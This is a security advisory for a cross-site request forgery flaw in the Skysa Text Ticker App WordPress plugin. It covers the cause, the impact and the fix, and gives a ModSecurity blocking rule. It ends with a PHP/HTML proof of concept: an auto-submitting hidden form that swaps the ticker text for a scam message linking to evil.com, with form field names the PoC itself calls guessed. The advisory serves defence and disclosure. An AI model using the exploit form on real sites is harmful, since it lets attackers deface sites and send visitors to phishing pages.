Atomic Edge analysis of CVE-2026-6710 (metadata-based):
This is a Cross-Site Request Forgery (CSRF) vulnerability affecting the Skysa Text Ticker App plugin for WordPress, up to version 1.4. The vulnerability allows an unauthenticated attacker to trick a site administrator into making an unintended request that modifies the plugin’s settings, specifically the scrolling message text and URL. The CVSS score is 4.3 (Medium) with a vector reflecting low attack complexity, no privileges required, but user interaction is required.
Root Cause: Based on the CWE classification (CWE-352) and the description, the root cause is the absence or incorrect implementation of nonce validation on the SkysaApps_Admin_AppPage function. In WordPress, admin-facing forms typically include a nonce (number used once) field to verify that the request came from the legitimate admin session. Without this check, any third-party website can craft a form submission that, when clicked by an authenticated admin, will modify plugin settings. This conclusion is inferred from the CWE and description, as no source code diff is available.
Exploitation: An attacker creates a malicious HTML page containing a hidden form or an image tag that triggers a POST request to the WordPress admin page where the plugin’s settings are saved. The target endpoint is likely the plugin’s admin settings page under /wp-admin/options-general.php?page=skysa-text-ticker-app or a similar admin URL. The attacker can pre-fill the form fields with malicious message text and a URL, then trick an administrator into visiting the page (e.g., via a phishing email or link). When the admin clicks the link while logged into WordPress, the browser automatically sends a crafted request that changes the scrolling ticker text to display attacker-controlled content, potentially including malicious links or social engineering messages.
Remediation: The fix requires adding proper nonce validation to the SkysaApps_Admin_AppPage function. Specifically, the plugin should generate a nonce using wp_nonce_field() in the settings form and verify it with check_admin_referer() or wp_verify_nonce() before processing the form submission. Since no patched version is available, site administrators should either remove the plugin or implement a virtual patch via a Web Application Firewall (WAF) to block requests to the vulnerable endpoint without a valid nonce.
Impact: An attacker can modify the plugin’s scrolling message text and URL. This could be used to display misleading or malicious content on the site, such as fake security warnings, phishing links, or redirecting users to external malicious websites. The impact is limited to settings modification (confidentiality and availability are not affected), but it can damage the site’s reputation and mislead visitors. No privilege escalation or data breach occurs, but the attacker can manipulate displayed content.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-6710 (metadata-based)
# Blocks CSRF exploitation targeting Skysa Text Ticker App settings save endpoint
# Rule infers the vulnerable endpoint from the plugin slug and common WordPress admin forms
SecRule REQUEST_URI "@contains /wp-admin/options-general.php"
"id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-6710 CSRF attempt on Skysa Text Ticker App',severity:'CRITICAL',tag:'CVE-2026-6710'"
SecRule ARGS_GET:page "@streq skysa-text-ticker-app"
"chain"
SecRule ARGS_POST:submit "@streq Save Settings"
"t:none"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-6710 - Skysa Text Ticker App <= 1.4 - Cross-Site Request Forgery to Settings Modification via 'Save Settings' Form
// Configuration: Set the target WordPress admin URL and the admin's credentials (if needed for session)
// Note: This PoC assumes the admin is already logged into WordPress.
// The attacker creates a malicious page that when visited by an admin submits the CSRF request.
$target_url = 'http://example.com/wp-admin/options-general.php?page=skysa-text-ticker-app'; // Change to target WordPress site
// The malicious payload for the text ticker settings
$ticker_text = 'Visit http://evil.com for a free iphone!'; // Malicious message to display
$ticker_url = 'http://evil.com'; // URL the text will link to
// Instead of directly posting (which requires the admin to be on the attacking page),
// this script generates an HTML page that auto-submits a form to the vulnerable endpoint.
// The admin must be tricked into visiting this HTML page while logged into WordPress.
?>
<!DOCTYPE html>
<html>
<head>
<title>CVE-2026-6710 CSRF PoC</title>
</head>
<body>
<h1>If you are seeing this, you have been redirected.</h1>
<form id="csrf_form" action="<?php echo htmlspecialchars($target_url); ?>" method="POST">
<!-- These fields are guessed based on common plugin patterns; adjust as needed -->
<input type="hidden" name="skysa_ticker_text" value="<?php echo htmlspecialchars($ticker_text); ?>">
<input type="hidden" name="skysa_ticker_url" value="<?php echo htmlspecialchars($ticker_url); ?>">
<input type="hidden" name="submit" value="Save Settings">
<!-- Note: No nonce field is present because the plugin doesn't validate it -->
</form>
<script>
// Auto-submit the form to trigger the CSRF request
document.getElementById('csrf_form').submit();
</script>
</body>
</html>
